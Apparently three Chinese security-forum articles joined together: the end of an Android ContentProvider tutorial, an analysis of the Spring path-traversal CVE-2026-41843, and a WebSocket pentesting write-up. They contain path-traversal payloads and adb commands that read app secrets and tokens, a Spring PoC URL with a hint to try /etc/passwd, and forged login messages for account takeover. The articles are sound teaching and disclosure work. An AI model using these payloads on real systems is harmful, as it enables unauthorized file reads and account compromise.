和 MySQL、PostgreSQL 不同,SQLite 的注入利用有一些限制:
- 不支持多语句执行(不能用分号拼接 DROP TABLE 等)
- 不支持 INTO OUTFILE(不能直接写文件)
- 不支持 LOAD\_EXTENSION(默认禁用,不能加载动态库)
所以 SQLite 注入的主要危害是数据读取,而不是命令执行。
* * *
## 4\. openFile() 路径遍历
### 4.1 原理
openFile() 方法根据 URI 返回一个 ParcelFileDescriptor(文件描述符的跨进程包装),让调用方可以读写文件。如果 Provider 在处理 URI 时没有过滤路径中的 `../`(上级目录),攻击者就可以通过路径遍历访问 Provider 所在 App 沙箱内的任意文件。
```java
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode)
throws FileNotFoundException {
String filename = uri.getLastPathSegment();
File file = new File(getContext().getFilesDir(), filename);
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
```
如果攻击者传入 `content://authority/files/..%2F..%2Fshared_prefs%2Fsecret.xml``%2F``/` 的 URL 编码),`getLastPathSegment()` 返回 `../../shared_prefs/secret.xml`,File 对象解析后指向的就是 App 的 SharedPreferencesAndroid 提供的轻量级键值对存储,数据保存在 XML 文件中)文件。
### 4.2 getLastPathSegment() 的解码行为
这里有一个容易被忽略的细节:`Uri.getLastPathSegment()` 会自动对 URL 编码进行解码。即使 URI 中写的是 `..%2Fshared_prefs``getLastPathSegment()` 返回的是 `../shared_prefs`
这意味着仅仅检查原始 URI 字符串中是否包含 `../` 是不够的,攻击者可以用 `%2F` 绕过。正确的做法是对 `getLastPathSegment()` 的返回值做检查,或者用 `File.getCanonicalPath()` 验证最终路径是否在允许的目录内。
![provider_path_traversal.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-1ccd211a666e14937007693073d2a48b09ff391f.png)
### 4.3 演示
演示 App 的 VulnFileProvider 存在路径遍历漏洞。它的 openFile() 直接用 `getLastPathSegment()` 拼接文件路径,没有做任何过滤。
App 的 SharedPreferences 中存储了一个模拟的 API key:
```bash
adb shell content read \
--uri content://com.demo.providersecurity.files/files/..%2Fshared_prefs%2Fapp_config.xml
```
输出:
```xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="debug_mode" value="true" />
<string name="api_key">sk-demo-4f8a2b1c9d3e7f6a5b0c8d2e</string>
<string name="server_url">https://api.internal.example.com</string>
</map>
```
通过路径遍历,从一个文件共享 Provider 中读到了 App 私有的配置文件,包括 API key 和内部服务器地址。
* * *
## 5\. call() 方法滥用
### 5.1 原理
call() 是 ContentProvider 的一个通用方法,签名如下:
```java
public Bundle call(String method, String arg, Bundle extras)
```
它不受 readPermission/writePermission 的约束——这两个权限只控制 query/insert/update/delete。call() 方法的权限需要在代码中自行检查。
如果开发者在 call() 中实现了敏感操作但没加权限检查,任何 App 都可以调用:
```java
@Override
public Bundle call(String method, String arg, Bundle extras) {
if ("reset_password".equals(method)) {
String username = extras.getString("username");
String newPassword = extras.getString("new_password");
resetUserPassword(username, newPassword);
Bundle result = new Bundle();
result.putBoolean("success", true);
return result;
}
return null;
}
```
### 5.2 演示
演示 App 的 VulnUserProvider 实现了一个 `get_token` 方法,直接返回指定用户的认证 token:
```bash
adb shell content call \
--uri content://com.demo.providersecurity.users \
--method get_token \
--arg admin
```
输出:
```php
Result: Bundle[{token=eyJhbGciOiJIUzI1NiJ9.admin}]
```
不需要任何权限,直接拿到了 admin 用户的 token。
* * *
## 6\. 版本演进
### 6.1 ContentProvider 的默认导出变化
第一章提到过,ContentProvider 的默认导出规则和其他组件不同:
| targetSdk | 默认 exported |
| --- | --- |
| < 17Android 4.2 之前) | true |
| >= 17 | false |
Android 12targetSdk 31)进一步要求所有带 intent-filter 的组件必须显式声明 exported。但 ContentProvider 通常不声明 intent-filter,所以这个改动对它的影响不大。
### 6.2 StrictMode 对 file:// URI 的限制
Android 7.0API 24)开始,StrictMode(严格模式,Android 提供的一种开发期检测机制)禁止在 Intent 中传递 `file://` URI。App 之间共享文件必须通过 FileProviderAndroid 提供的一个安全的 ContentProvider 实现,位于 androidx 库中)和 `content://` URI。
这个改动推动了 FileProvider 的普及,但也引入了新的攻击面——如果 FileProvider 的配置不当(比如用 `<root-path>` 共享了整个文件系统),反而比直接用 file:// 更危险。
### 6.3 query() 的 Bundle 参数
Android 8.0API 26)引入了 `query()` 的 Bundle 重载版本:
```java
public Cursor query(Uri uri, String[] projection, Bundle queryArgs,
CancellationSignal cancellationSignal)
```
queryArgs Bundle 可以包含 selection、selectionArgs、sortOrder 等参数。这个改动本身不影响安全性,但如果 Provider 从 Bundle 中取参数时没有做校验,同样存在注入风险。
* * *
## 7\. 总结
ContentProvider 是 Android 数据共享的标准接口,它的攻击面围绕"数据读写"展开。
回顾一下:
- 导出且无权限保护的 Provider 可以被任何 App 查询,直接导致数据泄露
- projection 和 selection 参数如果直接拼接到 SQL 中,存在注入风险,通过 sqlite\_master 可以获取完整的表结构
- openFile() 的路径遍历可以读取 App 沙箱内的任意文件,`getLastPathSegment()` 的自动解码行为容易被忽略
- call() 方法不受 readPermission/writePermission 约束,需要在代码中单独做权限检查
下一章讲 Android WebView 安全。WebView 是 App 内嵌的浏览器组件,它把 Web 的攻击面引入了 Android 应用——JavaScript 接口、URL 拦截、文件访问,每一个都可能成为漏洞入口。
通过网盘分享的文件:provider安全演示.apk
链接: [https://pan.baidu.com/s/1TmFzQeI7XXuljQUqPVzIPg?pwd=5gi4](https://pan.baidu.com/s/1TmFzQeI7XXuljQUqPVzIPg?pwd=5gi4) 提取码: 5gi4
@@ -0,0 +1,372 @@
# CVE-2026-41843 Spring Framework路径遍历漏洞浅析
> QIANXIN Team
> 来源:https://forum.butian.net/share/4953
# 0x00 CVE-2026-41843
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-30f0e42ef5c0138b248863ee65707b3695133f6f.png)
**主要影响范围:**
Spring Framework:
- 7.0.0 - 7.0.7
- 6.2.0 - 6.2.18
- 6.1.0 - 6.1.27
- 5.3.0 - 5.3.48
以及不再支持维护的版本同样受到影响。
# 0x01 Spring中的**资源版本控制**
静态资源缓存是 Web 性能优化的基础手段。
浏览器会长期缓存 CSS、JS、图片等静态资源,避免重复请求。但当服务端资源更新时,如果 URL 保持不变,浏览器会继续使用本地缓存,导致用户无法获取最新内容。
资源版本控制(也叫缓存击穿 / Cache Busting)就是为了解决这个问题:在静态资源的 URL 中嵌入版本标识,资源更新时版本标识同步变化,让浏览器将其视为全新的资源 URL,强制重新加载。
Spring Framework 提供了标准化的静态资源版本控制能力,通过资源处理链(Resource Chain 实现:
- 资源处理链由一系列 `ResourceResolver`(资源解析器)和 `ResourceTransformer`(资源转换器)按顺序组成;
- 其中 `VersionResourceResolver` 是版本控制的核心解析器,负责识别请求中的版本号、剥离版本号后定位真实资源;
- Spring 内置了两种开箱即用的版本策略:`FixedVersionStrategy`(固定版本策略)和 `ContentVersionStrategy`(内容哈希版本策略)。
这一版本化机制也是 CVE-2026-41843 路径遍历漏洞的必要触发前提:只有应用显式配置了带版本策略的资源处理链,漏洞才有可能被利用。
## 1.1 FixedVersionStrategy
FixedVersionStrategy可以使用某项属性,或者日期之类的作为版本。
其使用一个全局统一的固定字符串作为版本号,官方内置实现为路径前缀式,版本号统一添加在资源路径的最前端,例如 `/v1.0.0/css/style.css`
所有资源共用同一个版本号,配置简单,版本号与单个文件内容无关,随应用整体发版同步更新。
下面是具体的demo
首先通过实现 `WebMvcConfigurer` 配置静态资源映射与版本策略:
```Java
@Configuration
public class FixedVersionConfig implements WebMvcConfigurer {
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/static/**")
.addResourceLocations("classpath:/static/")
.resourceChain(true)
.addResolver(new VersionResourceResolver()
.addFixedVersionStrategy("v1.0.0", "/**"));
}
}
```
`src/main/resources/static/css/` 目录下创建 `style.css`
```CSS
body {
margin: 0;
padding: 0;
color: #333;
}
```
启动应用后,访问带版本前缀的 URL 即可正常获取资源:
```Plain
/static/v1.0.0/css/style.css
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7b827a30e7ff14b19776999793bfd53d45ded137.png)
Spring在解析时会自动剥离路径前缀 `v1.0.0`,最终映射到 `classpath:/static/css/style.css`
## 1.2 ContentVersionStrategy
ContentVersionStrategy会基于每个资源文件的内容计算 MD5 哈希值,将哈希作为版本号嵌入到文件名中。版本号会插入在文件名主体和扩展名之间,例如 `style-2f9a2f4b5c6d.css`
由于会根据文件内容生成唯一哈希,文件内容不变则哈希不变,缓存持续有效,内容更新则哈希自动变化,触发浏览器缓存刷新。
下面是具体的demo
首先通过实现 `WebMvcConfigurer` 配置静态资源映射与版本策略:
```Java
@Configuration
public class ContentVersionConfig implements WebMvcConfigurer {
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/res/**")
.addResourceLocations("classpath:/static/")
.resourceChain(true)
.addResolver(new VersionResourceResolver()
.addContentVersionStrategy("/**"));
}
}
```
可以定义一个辅助获取版本 URL 的接口,内容哈希由文件内容动态计算,可通过 `ResourceUrlProvider` 获取带版本号的完整资源 URL
```TypeScript
@RestController
public class VersionController {
@Autowired
private ResourceUrlProvider resourceUrlProvider;
@GetMapping("/get-version-url")
public String getVersionUrl() {
return resourceUrlProvider.getForLookupPath("/res/css/style.css");
}
}
```
同样的在`src/main/resources/static/css/` 目录下创建 `style.css`
启动应用后,获取对应的版本号,拼接获得对应的URL:
```Plain
/res/css/style-7345fe45f851042f3865836ec904d1ce.css
```
直接访问该 URL 即可正常获取资源;修改文件内容后重新请求,哈希值会自动同步变化。
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-6da4150cadfce62a737fa472a7a5d0456e70c225.png)
# 0x02 漏洞分析与复现
## 2.1 分析过程
以org.springframework:spring-webmvc:6.2.17为例:
基于上面的背景,简单分析下具体静态资源版本的解析过程:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b96820b10cba2a7bbdae4c7aac2009ce8242fc50.png)
这里实际会调用VersionResourceResolver#resolveResourceInternal方法进行处理
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d54beceaf82bfa50928c7aa7e5c95cbfe1be3893.png)
resolveResourceInternal方法是 Spring 静态资源版本化机制的核心执行入口,职责是识别请求中的版本号、剥离版本号后定位真实资源、并完成版本一致性校验,最终返回包装后的版本化资源对象。
下面逐个进行分析:
首先直接把原始请求路径交给解析链后续的解析器(通常是 `PathResourceResolver`)尝试查找资源,这里是为了兼容不带版本号的普通静态资源请求,如果路径能直接命中资源,直接返回,跳过后续复杂的版本提取、校验流程:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f8efe38c91d687d782455bee51e08954d3e4255c.png)
然后是匹配路径对应的版本策略,根据请求路径,匹配预先配置的版本策略(固定版本 / 内容哈希),不同的 URL 模式可以对应不同的策略,若无匹配策略直接返回 null,说明该路径不需要版本化处理:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ffde175077aca46f31b315b9e5ec18f5b269df2b.png)
然后调用对应策略的extractVersion方法,从请求路径中解析出版本号字符串,提取失败说明路径格式不合法、不带版本号:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-60d2540dfc5472b966d611f80b328913c292c747.png)
然后调用对应策略的removeVersion方法,从请求路径中移除版本号,还原出真实的资源查找路径,然后用相关的路径解析真实的资源:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-307e8dc4b02890f5e86a33d6de8cbc9b1436a04f.png)
如果相关的资源真实存在,那么计算对应的版本号,和请求携带的候选版本做对比:
- 如果一致:将原始资源包装为 `FileNameVersionedResource` 返回,携带版本元数据
- 不一致:判定为非法请求,返回 null
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8a4e5b0f60344f04d989c9618653ec250a9423c1.png)
以上便是VersionResourceResolver大致的解析过程。
前面提到了,在解析时,会根据匹配的策略,分别调用对应的extractVersion、getResourceVersion方法以及removeVersion方法进行处理,下面看看FixedVersionStrategy和ContentVersionStrategy的区别:
- **FixedVersionStrategy**
可以看到,FixedVersionStrategy的处理是在PrefixVersionPathStrategy中实现的:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d8f90071c45c2af3ec26df1784ff4cc1fc14fad3.png)
其中getResourceVersion方法比较简单,定义的version是什么就返回什么。
另外两个方法可以看到,FixedVersionStrategy主要检查路径开头是否匹配版本前缀,在剔除版本号时,会直接截断对应的版本内容:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-aa0fbc4607a08c8b8b852c51da2eea9f664990b3.png)
按照之前的demo,那是不是意味着如果以如下URL进行访问,即可成功引入路径穿越符:
```Plain
/res/v1.0.0../application.properties
```
但是实际复现时会发现,Spring本身存在一定的拦截机制,并不能完美引入`../`
- **ContentVersionStrategy**
可以看到,FixedVersionStrategy的处理是在FileNameVersionPathStrategy中实现的:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-73bdef20ea25af371c699564325f9958b64cb38b.png)
其中getResourceVersion方法就是根据文件内容计算MD5 Hash。
查看FileNameVersionPathStrategy具体方法定义,它会在路径中查找所有形如 `-xxx.` 的片段,并把中间的 `xxx` 捕获出来,如果捕获到的内容里还包含横杠,就取最后一个横杠之后的子串作为最终版本号。
而在删除版本号的时,`StringUtils.delete` 的作用是删除字符串中所有出现的目标子串,也就是说会把整条路径里所有 `-版本号` 子串全部无差别删掉:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b9207be8241b806396cdb2f6423890828a096792.png)
基于`StringUtils.delete`,那么前面提到的无法完美引入就迎刃而解了,例如下面的例子,在移除版本号后,确实可以得到`../`,但是进一步调试发现,依旧会因为种种限制导致无法利用:
```Plain
/res/css/.-7345fe45f851042f3865836ec904d1ce./.-7345fe45f851042f3865836ec904d1ce./application%2eproperties
```
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-5c083b599c9158bb08cafac1c2ee0bcec48de1da.png)
## 2.2 利用限制
在1.1节提到了两种策略解析时的利用思路,但是都因为一些限制的原因导致无法利用,下面简单整理下具体的限制。
### 2.2.1 ResourceHttpRequestHandler
SpringMVC主要是利用ResourceHttpRequestHandler来处理静态内容的,它对静态资源的映射提供了默认的配置。
其在解析资源之前,会对请求的path进行合法性检查,这也就解释了为什么没办法直接在路径中引入`../`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f9133cc5e0122d08cc79b74fb6151b079f5ee7fb.png)
### 2.2.2 版本一致性检查
前面提到,ContentVersionStrategy在移除版本时,会把所有版本号都移除掉,那确实可以规避ResourceHttpRequestHandler的安全检查,但是即使获取到了资源路径,在最后版本一致性检查时,会因为目标与恶意获取的文件名hash不一致,导致无法正常获取文件:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8713fe550ac8fd26c8aef6607e5b2402a0f501fb.png)
### 2.2.3 资源读取限制
除此之外,在获取实际路径的资源时,同样存在限制:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-5350299957bd34afdd10e19d886bf67cc70071f6.png)
这里会调用PathResourceResolver#getResource方法进行处理
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c3ec5ef3cd2aabd6ee6eab8d2f95dd744a5446be.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ab6354fcfceccb8d1d8cdc8ec2026496dc355ba9.png)
如果资源路径可达,这里会判断对应的资源是否在允许的location下,如果不允许,会返回null:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ba2892ebbda98b80d4c76ca83d4862788a4e91ef.png)
## 2.3 漏洞复现
前面提到了很多利用层面的限制,例如Spring 原生的 `checkResource`方法 兜底确实能拦住标准场景,但生产环境中很多业务为了支持跨目录资源、软链接、自定义存储协议等需求,会自定义 `PathResourceResolver` 并弱化 / 关闭边界校验。这是该漏洞最主要的实战危害场景,也是官方将其定级为中等危害的核心依据。
另外,还可以考虑不同中间件解析差异带来的绕过,这里不进一步展开。
下面简单编写具体的demo进行漏洞复现:
首先自定义后缀式固定版本策略,版本号直接定义为v1FileNameVersionPathStrategy直接复用AbstractVersionStrategy.PrefixVersionPathStrategy内容:
```Java
public class FixedFileNameVersionStrategy extends AbstractVersionStrategy {
public FixedFileNameVersionStrategy() {
super(new com.atguigu.boot.strategy.FileNameVersionPathStrategy());
}
@Override
public String getResourceVersion(Resource resource) {
return "v1";
}
}
```
然后自定义一个资源解析器,为了方便直接返回true:
```Java
public class UnsafePathResourceResolver extends PathResourceResolver {
@Override
protected boolean checkResource(Resource resource, Resource location) {
return true;
}
}
```
然后实现 `WebMvcConfigurer` ,指定自定义的静态资源映射与版本策略:
```TypeScript
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/res/**")
.addResourceLocations("classpath:/static/")
.resourceChain(true)
.addResolver(new VersionResourceResolver()
.addVersionStrategy(new FixedFileNameVersionStrategy(),"/**"))
.addResolver(new UnsafePathResourceResolver());
}
}
```
resources的目录结构如下:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-17ee6229efd2e3e2a651c4717a53f1aca3628b20.png)
这里尝试读取application.properties:
```Plain
/res/css/.-v1./.-v1./application%2eproperties
```
可以看到成功读取对应的文件信息:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-5cb6cbaca978a819ac305d28309f531da3691470.png)
如果使用File协议的话,还可以尝试读取/etc/passwd,有兴趣的师傅可以尝试下。
# 0x03 修复方案
以修复版本org.springframework:spring-webmvc:7.0.8为例:
**主要修复了两处:**
- **ResourceHandlerUtils#shouldIgnoreInputPath方法**
在VersionResourceResolver 的资源解析流程中,剥离版本号得到最终路径后,新增了ResourceHandlerUtils#shouldIgnoreInputPath方法调用进行校验
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-404a0d7ed16d514d9d6837a8999ceebd94a1cffa.png)
shouldIgnoreInputPath主要由三个方法组成:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-01ca24b74b4674f2b3749cb4b02f4ada57316024.png)
核心方法主要是isInvalidPath方法,里面主要对类似`../`以及一些敏感目录的输入进行了检查:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-1f53724d3ba9e64a86595e5cf958df5315ffe8b9.png)
isInvalidEncodedPath方法主要是考虑到URL编码的情况,解码后继续调用isInvalidPath方法进行判断:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8faa2ee32e971fdaae8ba9502581ad0fc7183ee8.png)
- **FileNameVersionPathStrategy#removeVersion**
修复前,会直接扫描整个请求路径,删除所有出现的 `"-" + version` 子串,出现多少次就删多少次,不限制位置(目录名、文件名中的匹配项都会被删掉):
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-51c469f90ca0c4044c3fa9b529627d2536dc9bf3.png)
修复后,找到 `-` + `version` 在路径中最后一次出现的位置,只删掉这一处匹配项,路径前面所有的匹配内容完全保留。只针对路径末端的文件名部分操作,不会触碰前面的目录层级:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8dc070b903144c04739ff5df73fd583393a45c0b.png)
可以看到,同样的环境跟poc,在修复后,被应用进行了拦截,无法进一步进行路径遍历漏洞利用:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8658af3cf2f0284aac895e24b2a40aed67e2f923.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d8e48aed70a5ed630ea908ec06fed131da1cdea3.png)
@@ -0,0 +1,248 @@
# WebSocket 实战:基于协议特点的漏洞挖掘
> QIANXIN Team
> 来源:https://forum.butian.net/share/4941
## 01 前言
前面介绍了渗透测试中一个比较恶心的环境,那就是websocket协议+protobuf传输,这种模式下对我们安全人员来说无论是数据可读或者更改都是非常难受并极其不便利的,最后的思路是利用AI下载对应zip包,分析逻辑,写全自动解析脚本。
当时我说过一句话就是,这种环境可能有些人用不上,但是你如果你碰到一定会回来感谢我的,所以本着有始有终的原则,想着将这种场景下的一些渗透测试注意点以及差异,同时附带一些实战经验和实际漏洞都讲解一下,一些差别或ws测试思路在实际举例的漏洞中会提到。(本篇重点讲ws协议中实战发现的漏洞,而非协议本身,协议本身的内容会提到但不作为重点)
**相关请求和截图已脱敏**
## 02 回顾
前面文章一笔带过一个知识点,不知道有多少人注意到了,后来想想其实还是很重要的,所以今天再特意提一下
如今很多APP里面都会夹杂着一些脱离APP本体的一些H5页面,或者一些内嵌的小程序之类的内容,我记得我最开始遇到的时候是N年前,任务是某个APP内的一个小程序,到手之后一测,上来一个就是验签也就是sign校验,正常情况下如果web网站直接JS里面扣逻辑就好了,当时没遇到过,心想这可咋搞,哪怕是微信小程序也行啊,也可以用工具强开devtools或者逆向都行啊,于是本着不抛弃不放弃的原则深挖了一下,终于让我发现了端倪,其实像这种APP内部嵌入H5或者小程序的情况,你观察抓包工具历史记录去筛选`.zip`,没错你可以理解成它都是先去请求拉取对应的前端代码,然后渲染,所以大概率你会在请求历史中查找到对应小程序的前端代码,这样你直接访问下载--解压,里面的js文件就可以扣逻辑了
而且曾几何时,攻防或者SRC,很多人会说的一句话:“web资产都被人扫了多少遍了,建议去看看APP或者微信小程序这些资产”,其实我之前还有一个思路就是挖对应主体一些APP内部的小程序(如果有的话),这个更冷门,记得有一次上去随便点两下掏了两个高危出来
## 03 websocket
这里要介绍一些websocket的特点,放心不会去写那些很深的原理,因为对后续内容没什么帮助
### 031 连接特点
首先我们要知道websocket是建立在http基础上的,它们都属于应用层协议,也就是websocket需要在http的基础上进行一个升级,然后双端建立起通道。与平时常用的http不同的是,http大概得感觉就是只有客户端主动建立连接发出请求报文然后服务端回复响应报文,结束连接关闭,websocket建立起通道后一般情况下是不关闭的,此时双方都可以主动发出数据,当然也包含像请求-响应这种模式,比如建立连接后客户端发出一个消息,服务端接收到后主动发过来一个响应消息,同时服务端也可以主动发起响应消息
举个例子,比如一个游戏场景,突然屏幕滚动一个全服公告【恭喜xxx获得一等奖--兰博基尼5元代金券一个】,那么如果是传统的http面对这种情况,由于HTTP通常是由客户端主动发起请求,服务端无法主动向客户端推送消息。因此客户端往往需要通过轮询或长轮询的方式,定期向服务器查询是否有新的全服公告。 但是websocket就简单了,因为此时建立连接服务端直接发过来就可以了,非常easy
### 032 权限相关
当我们从app内部进入到这种websocket通信的服务时,如何鉴权呢,app内部的HTTP自行控制就非常简单比如在请求头里面:`Authorization xxx`,那么websocket呢,主要的其实大概分为下面两种
1. **握手即鉴权**
正常情况下升级成websocket通信,需要有一个握手包,这个握手包用于请求将HTTP连接升级为Websocket连接,大概样子如下,如果升级成功后端会返回101,而我们说的第一种`握手即鉴权`方式,就是在升级包的请求参数或者请求头里面加上认证信息比如下面在请求头里面`Authorization`字段,也可能会是在请求后面接个参数,比如`/ws?token=xxx`
```http
GET /ws HTTP/1.1
Host: xxx.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: xxxxx
Sec-WebSocket-Version: 13
Authorization: Bearer xxx
```
2. **连接后鉴权**
这种方式也是非常常见的,握手包里面不包含任何权限信息,等到建立websocket连接,会有一个专门的消息号用于鉴权,比如当建立好websocket连接后,客户端发送如下鉴权消息
```json
{
"action":"login",
"token":"xxx"
}
```
这种鉴权方式也特别常见,比如游戏、IM网关、推送服务、第三方等,因为他们通常不是一个系统,所以如果采用第一种握手即鉴权方式,那么接入进来的三方服务必须耦合业务的jwt签名算法、耦合用户体系、还要知道业务的jwt秘钥,所以通常这种情况业务直接会为第三方开放一个鉴权解析接口,第三方服务直接调用业务的这个接口就能做到身份校验了
然后在啰嗦一下,像上个消息中`action`这个字段其实可以类比成HTTP里面的路由,因为WebSocket协议本身不提供类似HTTP URL的请求路由机制,所以必须让后端知道你发过来的消息走的是哪个逻辑,除 了上述方式的像action这种声明操作类型的消息路由标识,还有如下用`消息号`进行标识也比较常见
```json
{
"msgId":"19",
"token":"xxx"
}
```
## 04 漏洞
### 041 权限相关
业务最开始也就是跟权限相关的了,所以我们也先从权限相关的问题开始讲解。
另外有必要说一点,后文出现的ws消息表面看都是json格式,但是其实大部分原本都是`protobuf`的,而之所以是json的展示形式是因为我按之前的文章《[利用AI一键开启proto全自动明文时代](https://forum.butian.net/ai_security/90)》进行的自动转化,而我实际遇到ws服务的格式中确实是`protobuf`大于json的
#### 0411 房间游戏PK的任意开启
\*\*业务逻辑:\*\*正常一个房间分成AB两个队伍,除了日常的聊天还有一些其它功能外,有个类似现在短视频平台PK一样的功能,房主一般会气氛到位且人固定好后开始PK(这个`开始PK`操作正常只有房主有权限和功能按钮)
ws消息数据:
```json
{
"direction": "request",
"messageNo": 845271,
"timestamp": 1780523417623,
"userId": "",
"data": {
"roomId": "3157286",
"gDuration": "45"
}
}
```
**漏洞问题**
这里漏洞思路很简单,既然看到了`roomID`参数,直接用普通用户进入房间(会创建ws连接),然后手动构造发送该消息,房间直接开始PK
![1.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-e72f0ee632cf2f740dea84f1046509e066c2e7d8.png)
#### 0412 越权登录
这个漏洞的逻辑很简单,对应业务是属于上文提到的`连接后鉴权`,也就是wss无参建立,然后发送login相关的ws包进行登录,登录包如下,ws请求信封模式中大概率最外层都带着一个`userID`,但是其实这个userID通常情况下没什么作用,不过看到下面这个登录包的时候,还是眼前一亮,因为多了个`baseInfo`,里面又来了两个userid相关的参数,其中uid就是userid,而userkey就是userid进行base64编码后的值
```json
{
"userId": 28641, "accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjI4NjQxLCJyb2xlIjoidXNlciIsImV4cCI6MTgwMDAwMDAwMH0.demo_signature",
"baseInfo": {
"userKey": "Mjg2NDE=",
"uid": "28641"
}
}
```
就上方的包其实就可以通过将`uid``userkey`改为其他账号ID尝试越权了,然后测试结果也表明确实存在越权漏洞,服务端根据`userKey`作为用户判断依据,我准备两个客户端,客户端B正常登录游戏,然后客户端A正常登录游戏抓包,截取到上述登录包后,将`userKey`改成B的,如下图所示账号B直接提示网络异常重连中
![2.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-8c9dde6de7e16a4ca14e3a99a3e2b8a8df315251.png)
这里因为客户端存在重连机制,所以当我用Burp发送ws的登录消息,客户端会通过重连的方式重发登录包抢夺控制权,所以其实可以通过不断发送ws登录包的方式实现任意账号的`拒绝服务`
同样的既然登录可以越权了,我们可以登录任意账号了,后续再发送其它消息一样也是越权执行,但是因为当前模式是这种ws建立后才发消息鉴权的模型,所以你要执行后面的其它功能,例如`查询金币`那就需要三步
1. 先建立wss
2. 再发送越权登录的消息
3. 再发送查询金币消息
所以其实在Burp中利用起来不是很方便(顺便吐槽一下一开始觉得burp原生对ws支持真的一般,然后我又试了其它安全工具发现还不如burp),所以我特意让AI写了个工具,能够非常方便的满足我在WS服务测试中的一些操作,例如上面那个尝试越权查询账号金币余额,用这个工具就可以很好的执行:建立ws--发送登录消息--查询金币
如下图所示,消息2越权登录成功了,然后查询金币里面的`userID`没用(上文提到一些信封最外层都有userID但是没什么用),直接查询的还是越权登录的28642的
![3.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-f08d90b94675538c7fb12e112cb28c4ec934be8c.png)
* * *
#### 0413 越权操作
正如上面【越权登录】里提到的,我之前遇到很多信封模式消息体最外层基本上都带一个`userID`之类的参数,这个并没什么大作用,不过如果在消息体内部还有类似用户ID相关参数,那可就得注意了,例如下面这个服务的ws消息,几乎所有的操作消息都带一个AES密文
```json
{
"msgid": 1005,
"seqNo": "21",
"action": "faPai",
"data": ["U2FsdGVkX1+qFqOha1rJlDEbGH15mbocLQVXycdFiEM="]
}
```
然后这个密文解密就不多说了直接让AI去前端代码找秘钥就完事了,然后解开后发现竟然就是userID
![4.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-6088cf5a7daeba5556b6ccf7f27520f60020b710.png)
直接将userID改成账号B的,然后越权多次发送这个消息,消息2都是账号A的信息也就是说此处正常登录账号A,而消息3里面为账号B的加密值,最后达到一直给对面发牌达到爆牌的效果
![5.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-c4df888180c7336a7402fdc1a5dc40d594c9e73e.png)
效果如下
![6.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-67c1ccbad9f56f0a899240e6d3d68df8fb6899ee.png)
* * *
## 042 并发类
正所谓`万物皆可并发`,ws也是存在并发的,但是如果想挖掘ws并发漏洞,首先要搞清当前登录鉴权方式以及账号的共存情况,鉴权方式上文提到了,然后说下共存
1. **多连接并存**
顾名思义也就是当你建立多个WS连接,并且多个WS连接都发送鉴权包后,互相不会有什么影响,那这个时候直接构造多个`WS连接-登录消息-功能消息`就可以,例如`领取每日签到金币奖励`这个功能
\> 一开始我在尝试并发利用的时候其实想找找有无特别好用的Burp插件之类的,或者其它网络安全相关抓包工具是否能便捷的测试,但是实际上浪费了很长时间并没有找到好用的
